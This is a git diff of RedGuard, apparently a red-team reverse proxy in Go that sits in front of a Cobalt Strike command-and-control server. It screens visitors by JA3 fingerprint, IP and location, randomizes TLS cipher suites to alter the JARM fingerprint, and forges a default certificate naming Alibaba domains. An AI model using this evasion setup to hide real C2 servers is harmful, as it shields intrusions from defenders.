if banja3 == lib.EncodeMD5(req.JA3) {
|
||||
logger.Errorf("[DROP] %s Requested HOST JA3 FingerPrint is forbidden to access", ip)
|
||||
return false
|
||||
}
|
||||
}
|
||||
// Check the location of the requested IP address
|
||||
if allowLocation != "" && allowLocation != "*" {
|
||||
// @param allowLocation string The territory that is allowed to go online
|
||||
|
||||
+194
-194
@@ -1,194 +1,194 @@
|
||||
/**
|
||||
* @Author 风起
|
||||
* @contact: onlyzaliks@gmail.com
|
||||
* @File: ProxyHandler.go
|
||||
* @Time: 2022/5/5 16:53
|
||||
**/
|
||||
|
||||
package core
|
||||
|
||||
import (
|
||||
"io"
|
||||
"math/rand"
|
||||
"net/url"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"RedGuard/lib"
|
||||
|
||||
"github.com/sleeyax/ja3rp/crypto/tls"
|
||||
"github.com/sleeyax/ja3rp/net/http"
|
||||
"github.com/sleeyax/ja3rp/net/http/httputil"
|
||||
"github.com/wxnacy/wgo/arrays"
|
||||
)
|
||||
|
||||
var (
|
||||
ip string // HTTP remote IP
|
||||
redirectURL string // Proxy redirect URL
|
||||
_addressArray []string // By request list
|
||||
_startUp sync.Mutex // mutex lock
|
||||
_hostProxy = make(map[string]*httputil.ReverseProxy) // Used to cache httputil.ReverseProxy
|
||||
)
|
||||
|
||||
type baseHandle struct{}
|
||||
|
||||
func NewProxy(proxyURL string, dropType bool) (*httputil.ReverseProxy, error) {
|
||||
destinationURL, err := url.Parse(proxyURL)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
proxy := httputil.NewSingleHostReverseProxy(destinationURL)
|
||||
// dropType Check whether the response to the request is changed
|
||||
proxy.ModifyResponse = modifyResponse(dropType) // Modifies the response to the request
|
||||
return proxy, nil
|
||||
}
|
||||
|
||||
func modifyResponse(drop bool) func(*http.Response) error {
|
||||
return func(resp *http.Response) error {
|
||||
defer func(Body io.ReadCloser) {
|
||||
logger.Warningf("[RESPONSE] HTTP %s, length: %d", resp.Status, resp.ContentLength)
|
||||
if drop {
|
||||
// DROP Request
|
||||
logger.Alertf("[DROP] Source IP: %s", resp.Request.RemoteAddr)
|
||||
_ = Body.Close() // Direct shutdown response
|
||||
return
|
||||
}
|
||||
}(resp.Body)
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// ProxyRequestHandler A reverse proxy processes HTTP requests
|
||||
func (h *baseHandle) ServeHTTP(write http.ResponseWriter, req *http.Request) {
|
||||
var (
|
||||
host = &req.Host
|
||||
cfg = lib.InitConfig() // config file object
|
||||
// Obtain the domain name and target map
|
||||
hostTarget = lib.JsonToMap(lib.ReadConfig(
|
||||
"proxy",
|
||||
"HostTarget",
|
||||
cfg),
|
||||
)
|
||||
// Read the configuration file to check whether DROP is enabled
|
||||
dropAction = lib.ReadConfig("proxy", "drop_action", cfg)
|
||||
// IP address of the host that initiates the request
|
||||
)
|
||||
var isDrop bool
|
||||
var proxy *httputil.ReverseProxy
|
||||
// Determine the URL to be redirected to
|
||||
redirectURL = lib.ReadConfig("proxy", "Redirect", cfg)
|
||||
req.RemoteAddr = lib.ConvertIP(req.RemoteAddr)
|
||||
// Obtaining the real IP address
|
||||
if req.Header.Get("X-Forwarded-For") != "" {
|
||||
req.RemoteAddr = req.Header.Get("X-Forwarded-For")
|
||||
}
|
||||
// Set the forwarding header XFF so that C2 obtains the online real IP address
|
||||
req.Header.Set("X-Forwarded-For", req.RemoteAddr)
|
||||
// Check whether the host is verified
|
||||
if IPHash := lib.EncodeMD5(req.JA3); arrays.ContainsString(_addressArray, req.JA3) == -1 {
|
||||
logger.Noticef("JA3 FingerPrint: %s", IPHash)
|
||||
logger.Noticef("[REQUEST] %s %s", req.Method, req.RequestURI)
|
||||
// Request filtering method
|
||||
if !ProxyFilterManger(req) {
|
||||
goto LOOK // Redirect to the specified site
|
||||
}
|
||||
logger.Noticef("[REQUEST] %s - %s", req.RemoteAddr, req.UserAgent())
|
||||
_addressArray = append(_addressArray, IPHash) // Add to the list after verification for the first time
|
||||
}
|
||||
// Fetch directly from cache
|
||||
if fn, ok := _hostProxy[*host]; ok {
|
||||
fn.ServeHTTP(write, req)
|
||||
return
|
||||
}
|
||||
// Check whether the domain name is in the whitelist
|
||||
if target, ok := hostTarget[*host]; ok {
|
||||
proxy, err := NewProxy(target, false)
|
||||
if err != nil {
|
||||
logger.Error("Proxy Exception")
|
||||
}
|
||||
_hostProxy[*host] = proxy // Into the cache
|
||||
proxy.ServeHTTP(write, req)
|
||||
return
|
||||
}
|
||||
|
||||
LOOK:
|
||||
req.URL.Path = "/" // Url rewriting
|
||||
// condition is not met, the element is removed from the slice
|
||||
// Output The URL of each request for this IP address
|
||||
if len(_addressArray) > 0 {
|
||||
_addressArray = _addressArray[:len(_addressArray)-1]
|
||||
}
|
||||
// dropAction Select the reverse proxy interception mode
|
||||
switch dropAction {
|
||||
// redirect
|
||||
case "redirect":
|
||||
http.Redirect(write, req, redirectURL, http.StatusTemporaryRedirect)
|
||||
goto REDIRECT
|
||||
// reset Turning off the HTTP response
|
||||
case "reset":
|
||||
isDrop = true
|
||||
// proxy Hijacking target requests response information
|
||||
case "proxy":
|
||||
break
|
||||
}
|
||||
// Determine whether to redirect or intercept intercepted traffic
|
||||
proxy, _ = NewProxy(redirectURL, isDrop)
|
||||
// Unauthorized access is redirected to the specified URL
|
||||
proxy.ServeHTTP(write, req)
|
||||
REDIRECT:
|
||||
// REDIRECT Request
|
||||
logger.Alertf("[%s] Source IP: %s -> Destination Site: %s", strings.ToUpper(dropAction), req.RemoteAddr, redirectURL)
|
||||
}
|
||||
|
||||
// ProxyManger Initialize the reverse proxy and pass in the address of the real back-end service
|
||||
// handle all requests to your server using the proxy
|
||||
// @param action string reverse proxy listening port type
|
||||
// @param port string reverse proxy listening port
|
||||
// @param pattern string pattern associated with the listening port type
|
||||
func ProxyManger(action, port, pattern string) {
|
||||
var (
|
||||
handle = &baseHandle{}
|
||||
config = &tls.Config{} // Example Initialize TLS config
|
||||
_isHasCert, _ = strconv.ParseBool(lib.ReadConfig("cert", "HasCert", lib.InitConfig()))
|
||||
)
|
||||
_startUp.Lock() // 我知道这可能是一个bug哈哈哈,但是它可能不影响什么,就不修了。
|
||||
http.Handle(pattern, handle)
|
||||
// Cancels the validity verification of the destination TLS certificate
|
||||
http.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{
|
||||
InsecureSkipVerify: true,
|
||||
}
|
||||
// Disable client connection caching to connection pools
|
||||
http.DefaultTransport.(*http.Transport).DisableKeepAlives = true
|
||||
rand.Seed(time.Now().UnixNano())
|
||||
if !_isHasCert {
|
||||
config = &tls.Config{
|
||||
// JARM FingerPrint Random
|
||||
CipherSuites: lib.MicsSlice([]uint16{
|
||||
0x0005, 0x000a, 0x002f,
|
||||
0x0035, 0x003c, 0x009c,
|
||||
0x009d, 0xc011, 0xc012,
|
||||
0xc013, 0xc014, 0xc027,
|
||||
0xc02f, 0xc030, 0xcca8,
|
||||
}, rand.Intn(2)+1),
|
||||
}
|
||||
}
|
||||
server := &http.Server{
|
||||
Addr: port, // proxy port
|
||||
Handler: handle, // Cache structure
|
||||
TLSConfig: config, // TLS Server Config
|
||||
TLSNextProto: make(map[string]func(*http.Server, *tls.Conn, http.Handler), 1),
|
||||
}
|
||||
logger.Warningf("Proxy Listen Port %s (%s)", port, action)
|
||||
_startUp.Unlock()
|
||||
if action == "HTTPS" {
|
||||
// HTTPS reverse proxy
|
||||
_ = server.ListenAndServeTLS(
|
||||
"cert-rsa/ca.crt", // rsa cert crt
|
||||
"cert-rsa/ca.key", // rsa cert key
|
||||
)
|
||||
} else {
|
||||
_ = server.ListenAndServe() // HTTP reverse proxy
|
||||
}
|
||||
}
|
||||
/**
|
||||
* @Author 风起
|
||||
* @contact: onlyzaliks@gmail.com
|
||||
* @File: ProxyHandler.go
|
||||
* @Time: 2022/5/5 16:53
|
||||
**/
|
||||
|
||||
package core
|
||||
|
||||
import (
|
||||
"io"
|
||||
"math/rand"
|
||||
"net/url"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"RedGuard/lib"
|
||||
|
||||
"github.com/sleeyax/ja3rp/crypto/tls"
|
||||
"github.com/sleeyax/ja3rp/net/http"
|
||||
"github.com/sleeyax/ja3rp/net/http/httputil"
|
||||
"github.com/wxnacy/wgo/arrays"
|
||||
)
|
||||
|
||||
var (
|
||||
ip string // HTTP remote IP
|
||||
redirectURL string // Proxy redirect URL
|
||||
_addressArray []string // By request list
|
||||
_startUp sync.Mutex // mutex lock
|
||||
_hostProxy = make(map[string]*httputil.ReverseProxy) // Used to cache httputil.ReverseProxy
|
||||
)
|
||||
|
||||
type baseHandle struct{}
|
||||
|
||||
func NewProxy(proxyURL string, dropType bool) (*httputil.ReverseProxy, error) {
|
||||
destinationURL, err := url.Parse(proxyURL)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
proxy := httputil.NewSingleHostReverseProxy(destinationURL)
|
||||
// dropType Check whether the response to the request is changed
|
||||
proxy.ModifyResponse = modifyResponse(dropType) // Modifies the response to the request
|
||||
return proxy, nil
|
||||
}
|
||||
|
||||
func modifyResponse(drop bool) func(*http.Response) error {
|
||||
return func(resp *http.Response) error {
|
||||
defer func(Body io.ReadCloser) {
|
||||
logger.Warningf("[RESPONSE] HTTP %s, length: %d", resp.Status, resp.ContentLength)
|
||||
if drop {
|
||||
// DROP Request
|
||||
logger.Alertf("[DROP] Source IP: %s", resp.Request.RemoteAddr)
|
||||
_ = Body.Close() // Direct shutdown response
|
||||
return
|
||||
}
|
||||
}(resp.Body)
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// ProxyRequestHandler A reverse proxy processes HTTP requests
|
||||
func (h *baseHandle) ServeHTTP(write http.ResponseWriter, req *http.Request) {
|
||||
var (
|
||||
host = &req.Host
|
||||
cfg = lib.InitConfig() // config file object
|
||||
// Obtain the domain name and target map
|
||||
hostTarget = lib.JsonToMap(lib.ReadConfig(
|
||||
"proxy",
|
||||
"HostTarget",
|
||||
cfg),
|
||||
)
|
||||
// Read the configuration file to check whether DROP is enabled
|
||||
dropAction = lib.ReadConfig("proxy", "drop_action", cfg)
|
||||
// IP address of the host that initiates the request
|
||||
)
|
||||
var isDrop bool
|
||||
var proxy *httputil.ReverseProxy
|
||||
// Determine the URL to be redirected to
|
||||
redirectURL = lib.ReadConfig("proxy", "Redirect", cfg)
|
||||
req.RemoteAddr = lib.ConvertIP(req.RemoteAddr)
|
||||
// Obtaining the real IP address
|
||||
if req.Header.Get("X-Forwarded-For") != "" {
|
||||
req.RemoteAddr = req.Header.Get("X-Forwarded-For")
|
||||
}
|
||||
// Set the forwarding header XFF so that C2 obtains the online real IP address
|
||||
req.Header.Set("X-Forwarded-For", req.RemoteAddr)
|
||||
// Check whether the host is verified
|
||||
if IPHash := lib.EncodeMD5(req.JA3); arrays.ContainsString(_addressArray, req.JA3) == -1 {
|
||||
logger.Noticef("JA3 FingerPrint: %s", IPHash)
|
||||
logger.Noticef("[REQUEST] %s %s", req.Method, req.RequestURI)
|
||||
// Request filtering method
|
||||
if !ProxyFilterManger(req) {
|
||||
goto LOOK // Redirect to the specified site
|
||||
}
|
||||
logger.Noticef("[REQUEST] %s - %s", req.RemoteAddr, req.UserAgent())
|
||||
_addressArray = append(_addressArray, IPHash) // Add to the list after verification for the first time
|
||||
}
|
||||
// Fetch directly from cache
|
||||
if fn, ok := _hostProxy[*host]; ok {
|
||||
fn.ServeHTTP(write, req)
|
||||
return
|
||||
}
|
||||
// Check whether the domain name is in the whitelist
|
||||
if target, ok := hostTarget[*host]; ok {
|
||||
proxy, err := NewProxy(target, false)
|
||||
if err != nil {
|
||||
logger.Error("Proxy Exception")
|
||||
}
|
||||
_hostProxy[*host] = proxy // Into the cache
|
||||
proxy.ServeHTTP(write, req)
|
||||
return
|
||||
}
|
||||
|
||||
LOOK:
|
||||
req.URL.Path = "/" // Url rewriting
|
||||
// condition is not met, the element is removed from the slice
|
||||
// Output The URL of each request for this IP address
|
||||
if len(_addressArray) > 0 {
|
||||
_addressArray = _addressArray[:len(_addressArray)-1]
|
||||
}
|
||||
// dropAction Select the reverse proxy interception mode
|
||||
switch dropAction {
|
||||
// redirect
|
||||
case "redirect":
|
||||
http.Redirect(write, req, redirectURL, http.StatusTemporaryRedirect)
|
||||
goto REDIRECT
|
||||
// reset Turning off the HTTP response
|
||||
case "reset":
|
||||
isDrop = true
|
||||
// proxy Hijacking target requests response information
|
||||
case "proxy":
|
||||
break
|
||||
}
|
||||
// Determine whether to redirect or intercept intercepted traffic
|
||||
proxy, _ = NewProxy(redirectURL, isDrop)
|
||||
// Unauthorized access is redirected to the specified URL
|
||||
proxy.ServeHTTP(write, req)
|
||||
REDIRECT:
|
||||
// REDIRECT Request
|
||||
logger.Alertf("[%s] Source IP: %s -> Destination Site: %s", strings.ToUpper(dropAction), req.RemoteAddr, redirectURL)
|
||||
}
|
||||
|
||||
// ProxyManger Initialize the reverse proxy and pass in the address of the real back-end service
|
||||
// handle all requests to your server using the proxy
|
||||
// @param action string reverse proxy listening port type
|
||||
// @param port string reverse proxy listening port
|
||||
// @param pattern string pattern associated with the listening port type
|
||||
func ProxyManger(action, port, pattern string) {
|
||||
var (
|
||||
handle = &baseHandle{}
|
||||
config = &tls.Config{} // Example Initialize TLS config
|
||||
_isHasCert, _ = strconv.ParseBool(lib.ReadConfig("cert", "HasCert", lib.InitConfig()))
|
||||
)
|
||||
_startUp.Lock() // 我知道这可能是一个bug哈哈哈,但是它可能不影响什么,就不修了。
|
||||
http.Handle(pattern, handle)
|
||||
// Cancels the validity verification of the destination TLS certificate
|
||||
http.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{
|
||||
InsecureSkipVerify: true,
|
||||
}
|
||||
// Disable client connection caching to connection pools
|
||||
http.DefaultTransport.(*http.Transport).DisableKeepAlives = true
|
||||
rand.Seed(time.Now().UnixNano())
|
||||
if !_isHasCert {
|
||||
config = &tls.Config{
|
||||
// JARM FingerPrint Random
|
||||
CipherSuites: lib.MicsSlice([]uint16{
|
||||
0x0005, 0x000a, 0x002f,
|
||||
0x0035, 0x003c, 0x009c,
|
||||
0x009d, 0xc011, 0xc012,
|
||||
0xc013, 0xc014, 0xc027,
|
||||
0xc02f, 0xc030, 0xcca8,
|
||||
}, rand.Intn(2)+1),
|
||||
}
|
||||
}
|
||||
server := &http.Server{
|
||||
Addr: port, // proxy port
|
||||
Handler: handle, // Cache structure
|
||||
TLSConfig: config, // TLS Server Config
|
||||
TLSNextProto: make(map[string]func(*http.Server, *tls.Conn, http.Handler), 1),
|
||||
}
|
||||
logger.Warningf("Proxy Listen Port %s (%s)", port, action)
|
||||
_startUp.Unlock()
|
||||
if action == "HTTPS" {
|
||||
// HTTPS reverse proxy
|
||||
_ = server.ListenAndServeTLS(
|
||||
"cert-rsa/ca.crt", // rsa cert crt
|
||||
"cert-rsa/ca.key", // rsa cert key
|
||||
)
|
||||
} else {
|
||||
_ = server.ListenAndServe() // HTTP reverse proxy
|
||||
}
|
||||
}
|
||||
|
||||
+38
-38
@@ -1,38 +1,38 @@
|
||||
/**
|
||||
* @Author 风起
|
||||
* @contact: onlyzaliks@gmail.com
|
||||
* @File: arguments.go
|
||||
* @Time: 2022/5/5 9:46
|
||||
**/
|
||||
|
||||
package core
|
||||
|
||||
import (
|
||||
"flag"
|
||||
|
||||
"RedGuard/core/parameter"
|
||||
)
|
||||
|
||||
func CmdParse(parse *parameter.Parses, cert *parameter.Cert, proxy *parameter.Proxy) {
|
||||
flag.BoolVar(&parse.Update, "u", false, `Enable configuration file modification`)
|
||||
flag.StringVar(&parse.C2Type, "type", `CobaltStrike`, `C2 Server Type`)
|
||||
flag.StringVar(&parse.IP, "ip", ``, `IPLookUP IP`)
|
||||
flag.StringVar(&parse.ConfigPath, "config", ``, `Set Config Path`)
|
||||
flag.StringVar(&parse.Location, "location", `风起`, `IPLookUP Location`)
|
||||
flag.StringVar(&cert.Country, "country", `CN`, `Cert Country`)
|
||||
flag.StringVar(&cert.CommonName, "common", `*.aliyun.com`, `Cert CommonName`)
|
||||
flag.StringVar(&cert.Organization, "organization", `Alibaba (China) Technology Co., Ltd.`, `Cert Organization`)
|
||||
flag.StringVar(&cert.HasCert, "HasCert", `true`, `Whether to use the certificate you have applied for`)
|
||||
flag.StringVar(&cert.DNSNameTo, "dns", `*.aliyun.com,manager.channel.aliyun.com,*.acs-internal.aliyuncs.com",*.connect.aliyun.com,aliyun.com,whois.www.net.cn,tianchi-global.com`, `Cert DNSName`)
|
||||
flag.StringVar(&cert.Locality, "locality", `HangZhou`, `Cert Locality`)
|
||||
flag.StringVar(&proxy.HostTarget, "host", `{"360.net":"http://127.0.0.1:8080","360.com":"https://127.0.0.1:4433"}`, `Set Proxy HostTarget`)
|
||||
flag.StringVar(&proxy.HTTPSPort, "https", `:443`, `Set Proxy HTTPS Port`)
|
||||
flag.StringVar(&proxy.HTTPort, "http", `:80`, `Set Proxy HTTP Port`)
|
||||
flag.StringVar(&proxy.DropAction, "DropAction", "redirect", `RedGuard interception action`)
|
||||
flag.StringVar(&proxy.Redirect, "redirect", `https://360.net`, `Proxy redirect URL`)
|
||||
flag.StringVar(&proxy.AllowLocation, "allowLocation", "*", "Proxy Requests Allow Location")
|
||||
flag.StringVar(&proxy.AllowIP, "allowIP", "*", "Proxy Requests Allow IP")
|
||||
flag.StringVar(&proxy.AllowTime, "allowTime", "*", "Proxy Requests Allow Time")
|
||||
flag.StringVar(&proxy.MalleableFile, "malleable", "*", "Set Proxy Requests Filter Malleable File")
|
||||
flag.Parse()
|
||||
}
|
||||
/**
|
||||
* @Author 风起
|
||||
* @contact: onlyzaliks@gmail.com
|
||||
* @File: arguments.go
|
||||
* @Time: 2022/5/5 9:46
|
||||
**/
|
||||
|
||||
package core
|
||||
|
||||
import (
|
||||
"flag"
|
||||
|
||||
"RedGuard/core/parameter"
|
||||
)
|
||||
|
||||
func CmdParse(parse *parameter.Parses, cert *parameter.Cert, proxy *parameter.Proxy) {
|
||||
flag.BoolVar(&parse.Update, "u", false, `Enable configuration file modification`)
|
||||
flag.StringVar(&parse.C2Type, "type", `CobaltStrike`, `C2 Server Type`)
|
||||
flag.StringVar(&parse.IP, "ip", ``, `IPLookUP IP`)
|
||||
flag.StringVar(&parse.ConfigPath, "config", ``, `Set Config Path`)
|
||||
flag.StringVar(&parse.Location, "location", `风起`, `IPLookUP Location`)
|
||||
flag.StringVar(&cert.Country, "country", `CN`, `Cert Country`)
|
||||
flag.StringVar(&cert.CommonName, "common", `*.aliyun.com`, `Cert CommonName`)
|
||||
flag.StringVar(&cert.Organization, "organization", `Alibaba (China) Technology Co., Ltd.`, `Cert Organization`)
|
||||
flag.StringVar(&cert.HasCert, "HasCert", `true`, `Whether to use the certificate you have applied for`)
|
||||
flag.StringVar(&cert.DNSNameTo, "dns", `*.aliyun.com,manager.channel.aliyun.com,*.acs-internal.aliyuncs.com",*.connect.aliyun.com,aliyun.com,whois.www.net.cn,tianchi-global.com`, `Cert DNSName`)
|
||||
flag.StringVar(&cert.Locality, "locality", `HangZhou`, `Cert Locality`)
|
||||
flag.StringVar(&proxy.HostTarget, "host", `{"360.net":"http://127.0.0.1:8080","360.com":"https://127.0.0.1:4433"}`, `Set Proxy HostTarget`)
|
||||
flag.StringVar(&proxy.HTTPSPort, "https", `:443`, `Set Proxy HTTPS Port`)
|
||||
flag.StringVar(&proxy.HTTPort, "http", `:80`, `Set Proxy HTTP Port`)
|
||||
flag.StringVar(&proxy.DropAction, "DropAction", "redirect", `RedGuard interception action`)
|
||||
flag.StringVar(&proxy.Redirect, "redirect", `https://360.net`, `Proxy redirect URL`)
|
||||
flag.StringVar(&proxy.AllowLocation, "allowLocation", "*", "Proxy Requests Allow Location")
|
||||
flag.StringVar(&proxy.AllowIP, "allowIP", "*", "Proxy Requests Allow IP")
|
||||
flag.StringVar(&proxy.AllowTime, "allowTime", "*", "Proxy Requests Allow Time")
|
||||
flag.StringVar(&proxy.MalleableFile, "malleable", "*", "Set Proxy Requests Filter Malleable File")
|
||||
flag.Parse()
|
||||
}
|
||||
|
||||
+92
-92
@@ -1,92 +1,92 @@
|
||||
/**
|
||||
* @Author 风起
|
||||
* @contact: onlyzaliks@gmail.com
|
||||
* @File: ipLookUp.go
|
||||
* @Time: 2022/5/5 9:13
|
||||
**/
|
||||
|
||||
package core
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"regexp"
|
||||
"strings"
|
||||
|
||||
"RedGuard/lib"
|
||||
|
||||
"github.com/tidwall/gjson"
|
||||
)
|
||||
|
||||
// IPLookup IP origin,API is defined to extract relevant information
|
||||
type ipLookup struct {
|
||||
allowStatus int // API http request status code
|
||||
hasCount int // Check if the first character of location is in English
|
||||
body string // Get THE API response body JSON data
|
||||
Tag string // The json data Tag
|
||||
location string // Restrict the geographical location of the online
|
||||
}
|
||||
|
||||
var (
|
||||
_apiUrl = []string{
|
||||
// Chinese Users IP API
|
||||
"https://sp0.baidu.com/8aQDcjqpAAV3otqbppnN2DJv/api.php?query=%s&co=&resource_id=6006",
|
||||
// IP API for users in other countries
|
||||
"https://ipapi.co/%s/json/",
|
||||
}
|
||||
logger = lib.Logger() // logger output model
|
||||
)
|
||||
|
||||
// IPLookUp returns true if Check whether the IP address is the same as the owning place
|
||||
// @param ip string Specify IP address
|
||||
// @param location string Specify location
|
||||
// NOTE: other countries Server You are advised to set location to English
|
||||
// This will prioritize IP API that are more efficient for you
|
||||
func IPLookUp(location, ip string) (state bool) {
|
||||
var IPLook ipLookup
|
||||
for _, url := range _apiUrl {
|
||||
// Check preferentially invoked
|
||||
if IPLook.hasCount != 1 {
|
||||
// Check that the first character of location is in English
|
||||
if regexp.MustCompile("[a-zA-Z]").MatchString(location[0:1]) {
|
||||
// Other countries IP API are preferentially invoked if conditions are met
|
||||
url, IPLook.hasCount = _apiUrl[1], 1
|
||||
}
|
||||
} else {
|
||||
url = _apiUrl[0] // preferentially invoked Chinese Users IP API
|
||||
}
|
||||
|
||||
// Get json data for the IP API response body
|
||||
IPLook.allowStatus, IPLook.body = lib.HTTPRequest(fmt.Sprintf(url, ip))
|
||||
if IPLook.allowStatus == 200 {
|
||||
// Select the response JSON tag when json data is available
|
||||
if url == _apiUrl[0] {
|
||||
IPLook.Tag = `data.#.location` // Chinese Users IP API Tag
|
||||
break
|
||||
}
|
||||
IPLook.Tag = `city`
|
||||
IPLook.location += gjson.Get(IPLook.body, `region`).String()
|
||||
break
|
||||
}
|
||||
}
|
||||
// Check for valid JSON data
|
||||
if gjson.Valid(IPLook.body) {
|
||||
// Extracting JSON data
|
||||
result := gjson.Get(IPLook.body, IPLook.Tag)
|
||||
if result.Exists() {
|
||||
for _, name := range result.Array() {
|
||||
IPLook.location += name.String()
|
||||
}
|
||||
var prettyJSON bytes.Buffer
|
||||
// Format output JSON data
|
||||
_ = json.Indent(&prettyJSON, []byte(IPLook.body), "", "\t")
|
||||
logger.Emergency(string(prettyJSON.Bytes()))
|
||||
// Check whether the IP address is the same as the specified location
|
||||
if strings.Contains(strings.ToLower(IPLook.location), strings.ToLower(location)) {
|
||||
return true // The query result is true
|
||||
}
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
/**
|
||||
* @Author 风起
|
||||
* @contact: onlyzaliks@gmail.com
|
||||
* @File: ipLookUp.go
|
||||
* @Time: 2022/5/5 9:13
|
||||
**/
|
||||
|
||||
package core
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"regexp"
|
||||
"strings"
|
||||
|
||||
"RedGuard/lib"
|
||||
|
||||
"github.com/tidwall/gjson"
|
||||
)
|
||||
|
||||
// IPLookup IP origin,API is defined to extract relevant information
|
||||
type ipLookup struct {
|
||||
allowStatus int // API http request status code
|
||||
hasCount int // Check if the first character of location is in English
|
||||
body string // Get THE API response body JSON data
|
||||
Tag string // The json data Tag
|
||||
location string // Restrict the geographical location of the online
|
||||
}
|
||||
|
||||
var (
|
||||
_apiUrl = []string{
|
||||
// Chinese Users IP API
|
||||
"https://sp0.baidu.com/8aQDcjqpAAV3otqbppnN2DJv/api.php?query=%s&co=&resource_id=6006",
|
||||
// IP API for users in other countries
|
||||
"https://ipapi.co/%s/json/",
|
||||
}
|
||||
logger = lib.Logger() // logger output model
|
||||
)
|
||||
|
||||
// IPLookUp returns true if Check whether the IP address is the same as the owning place
|
||||
// @param ip string Specify IP address
|
||||
// @param location string Specify location
|
||||
// NOTE: other countries Server You are advised to set location to English
|
||||
// This will prioritize IP API that are more efficient for you
|
||||
func IPLookUp(location, ip string) (state bool) {
|
||||
var IPLook ipLookup
|
||||
for _, url := range _apiUrl {
|
||||
// Check preferentially invoked
|
||||
if IPLook.hasCount != 1 {
|
||||
// Check that the first character of location is in English
|
||||
if regexp.MustCompile("[a-zA-Z]").MatchString(location[0:1]) {
|
||||
// Other countries IP API are preferentially invoked if conditions are met
|
||||
url, IPLook.hasCount = _apiUrl[1], 1
|
||||
}
|
||||
} else {
|
||||
url = _apiUrl[0] // preferentially invoked Chinese Users IP API
|
||||
}
|
||||
|
||||
// Get json data for the IP API response body
|
||||
IPLook.allowStatus, IPLook.body = lib.HTTPRequest(fmt.Sprintf(url, ip))
|
||||
if IPLook.allowStatus == 200 {
|
||||
// Select the response JSON tag when json data is available
|
||||
if url == _apiUrl[0] {
|
||||
IPLook.Tag = `data.#.location` // Chinese Users IP API Tag
|
||||
break
|
||||
}
|
||||
IPLook.Tag = `city`
|
||||
IPLook.location += gjson.Get(IPLook.body, `region`).String()
|
||||
break
|
||||
}
|
||||
}
|
||||
// Check for valid JSON data
|
||||
if gjson.Valid(IPLook.body) {
|
||||
// Extracting JSON data
|
||||
result := gjson.Get(IPLook.body, IPLook.Tag)
|
||||
if result.Exists() {
|
||||
for _, name := range result.Array() {
|
||||
IPLook.location += name.String()
|
||||
}
|
||||
var prettyJSON bytes.Buffer
|
||||
// Format output JSON data
|
||||
_ = json.Indent(&prettyJSON, []byte(IPLook.body), "", "\t")
|
||||
logger.Emergency(string(prettyJSON.Bytes()))
|
||||
// Check whether the IP address is the same as the specified location
|
||||
if strings.Contains(strings.ToLower(IPLook.location), strings.ToLower(location)) {
|
||||
return true // The query result is true
|
||||
}
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
+45
-45
@@ -1,45 +1,45 @@
|
||||
/**
|
||||
* @Author 风起
|
||||
* @contact: onlyzaliks@gmail.com
|
||||
* @File: options.go
|
||||
* @Time: 2022/5/5 9:44
|
||||
**/
|
||||
|
||||
package parameter
|
||||
|
||||
type Parses struct {
|
||||
Update bool
|
||||
IP string
|
||||
C2Type string
|
||||
Location string
|
||||
ConfigPath string
|
||||
}
|
||||
|
||||
type Cert struct {
|
||||
Country string
|
||||
CommonName string
|
||||
Locality string
|
||||
Organization string
|
||||
DNSNameTo string
|
||||
HasCert string
|
||||
DNSName []string
|
||||
}
|
||||
|
||||
type Proxy struct {
|
||||
HostTarget string
|
||||
HTTPSPort string
|
||||
HTTPort string
|
||||
DropAction string
|
||||
Redirect string
|
||||
AllowLocation string
|
||||
AllowIP string
|
||||
AllowTime string
|
||||
MalleableFile string
|
||||
}
|
||||
|
||||
// ProxyConf Reverse proxy configuration structure
|
||||
type ProxyConf struct {
|
||||
Port string
|
||||
Action string
|
||||
Pattern string
|
||||
}
|
||||
/**
|
||||
* @Author 风起
|
||||
* @contact: onlyzaliks@gmail.com
|
||||
* @File: options.go
|
||||
* @Time: 2022/5/5 9:44
|
||||
**/
|
||||
|
||||
package parameter
|
||||
|
||||
type Parses struct {
|
||||
Update bool
|
||||
IP string
|
||||
C2Type string
|
||||
Location string
|
||||
ConfigPath string
|
||||
}
|
||||
|
||||
type Cert struct {
|
||||
Country string
|
||||
CommonName string
|
||||
Locality string
|
||||
Organization string
|
||||
DNSNameTo string
|
||||
HasCert string
|
||||
DNSName []string
|
||||
}
|
||||
|
||||
type Proxy struct {
|
||||
HostTarget string
|
||||
HTTPSPort string
|
||||
HTTPort string
|
||||
DropAction string
|
||||
Redirect string
|
||||
AllowLocation string
|
||||
AllowIP string
|
||||
AllowTime string
|
||||
MalleableFile string
|
||||
}
|
||||
|
||||
// ProxyConf Reverse proxy configuration structure
|
||||
type ProxyConf struct {
|
||||
Port string
|
||||
Action string
|
||||
Pattern string
|
||||
}
|
||||
|
||||
+20445
-20445
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,10 @@
|
||||
/**
|
||||
* @Author 风起
|
||||
* @contact: onlyzaliks@gmail.com
|
||||
* @File: banned_ja3.go
|
||||
* @Time: 2022/7/4 14:25
|
||||
**/
|
||||
|
||||
package data
|
||||
|
||||
var BANJA3 = `55826aa9288246f7fcafab38353ba734`
|
||||
+380
-380
@@ -1,380 +1,380 @@
|
||||
<h1 align="center">RedGuard - Excellent C2 Front Flow Control tool</h1>
|
||||
|
||||
[](https://github.com/knownsec/Kunyu) [](https://github.com/knownsec/Kunyu/issues) [](https://github.com/knownsec/Kunyu/releases) [](https://github.com/wikiZ)
|
||||
|
||||
中文文档 | [English](https://github.com/wikiZ/RedGuard/blob/main/README.md)
|
||||
|
||||

|
||||
|
||||
# 0x00 介绍
|
||||
|
||||
## 工具介绍
|
||||
|
||||
